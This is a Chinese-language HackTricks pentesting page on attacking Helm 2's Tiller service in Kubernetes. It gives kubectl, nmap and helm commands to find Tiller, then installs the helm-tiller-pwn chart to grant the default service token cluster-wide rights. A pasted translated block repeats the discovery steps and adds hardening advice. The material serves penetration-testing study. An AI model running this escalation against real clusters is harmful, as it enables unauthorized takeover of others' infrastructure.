从零开始学习AWS黑客技术,成为 htARTE (HackTricks AWS红队专家)!
支持HackTricks的其他方式:
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
# 基本信息
Helm是Kubernetes的**包管理器**。它允许打包YAML文件并在公共和私有仓库中分发它们。这些包被称为**Helm图表**。**Tiller**是默认在端口44134**运行**的**服务**,提供服务。
**默认端口:**44134
```
PORT STATE SERVICE VERSION
44134/tcp open unknown
```
# 枚举
如果您能够**枚举不同命名空间的 pods 和/或服务**,请枚举它们,并搜索名称中含有 **"tiller"** 的服务:
```bash
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n | grep -i "tiller"
kubectl get services -n | grep -i "tiller"
```
```markdown
# 渗透测试 Tiller (Helm 的服务器端组件)
Tiller 是 Helm 的服务器端组件,它在 Kubernetes 集群中运行,并允许用户通过 Helm 客户端与集群交互。如果未正确配置,Tiller 可能会暴露敏感信息或允许未经授权的用户执行命令。
## 发现 Tiller
要发现集群中的 Tiller 服务,可以使用以下命令:
```
kubectl --namespace kube-system get pods | grep tiller
```
这将列出 kube-system 命名空间中的所有 Tiller pod。
## 利用 Tiller
如果 Tiller 服务未正确配置,攻击者可能能够部署恶意图表或修改现有图表。以下是一些可能的攻击场景:
- **读取敏感信息**: 攻击者可以尝试读取 Tiller 服务的环境变量或配置文件,以获取敏感信息。
- **未经授权的命令执行**: 如果 Tiller 服务允许未经授权的用户执行命令,攻击者可以利用这一点来执行恶意操作。
## 修复建议
为了保护 Tiller 服务,应该采取以下措施:
- 确保 Tiller 仅在需要时运行,并且仅由授权用户访问。
- 使用 RBAC (基于角色的访问控制) 限制对 Tiller 的访问。
- 定期检查 Tiller 的配置和权限,确保没有不当的权限设置。
通过采取这些预防措施,可以减少 Tiller 服务被攻击的风险。
```
```bash
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 44134/TCP 35m
```
您还可以尝试检查端口44134来查找此服务是否正在运行:
```bash
sudo nmap -sS -p 44134
```
一旦发现服务,您可以通过下载客户端 helm 应用程序与之通信。您可以使用像 `homebrew` 这样的工具,或查看[**官方发布页面**](https://github.com/helm/helm/releases)**。** 更多详情,或其他选项,请参阅[安装指南](https://v2.helm.sh/docs/using_helm/#installing-helm)。
然后,您可以**枚举服务**:
```
helm --host tiller-deploy.kube-system:44134 version
```
## 权限提升
默认情况下,**Helm2** 安装在具有**高权限**的 **namespace kube-system** 中,所以如果你找到了该服务并且能够访问它,这可能允许你**提升权限**。
你需要做的就是安装像这样的包:[**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn),它将给予**默认服务令牌访问整个集群中的所有内容。**
```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```
在[http://rui0.cn/archives/1573](http://rui0.cn/archives/1573)中你可以找到**攻击的解释**,但基本上,如果你阅读_helm-tiller-pwn/pwnchart/templates/_中的[**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml)和[**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml)文件,你可以看到**所有权限都被赋予了默认token**。
从零开始学习AWS黑客攻击直到成为英雄,通过 htARTE (HackTricks AWS Red Team Expert)!
其他支持HackTricks的方式:
* 如果你想在**HackTricks中看到你的公司广告**或者**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享你的黑客技巧。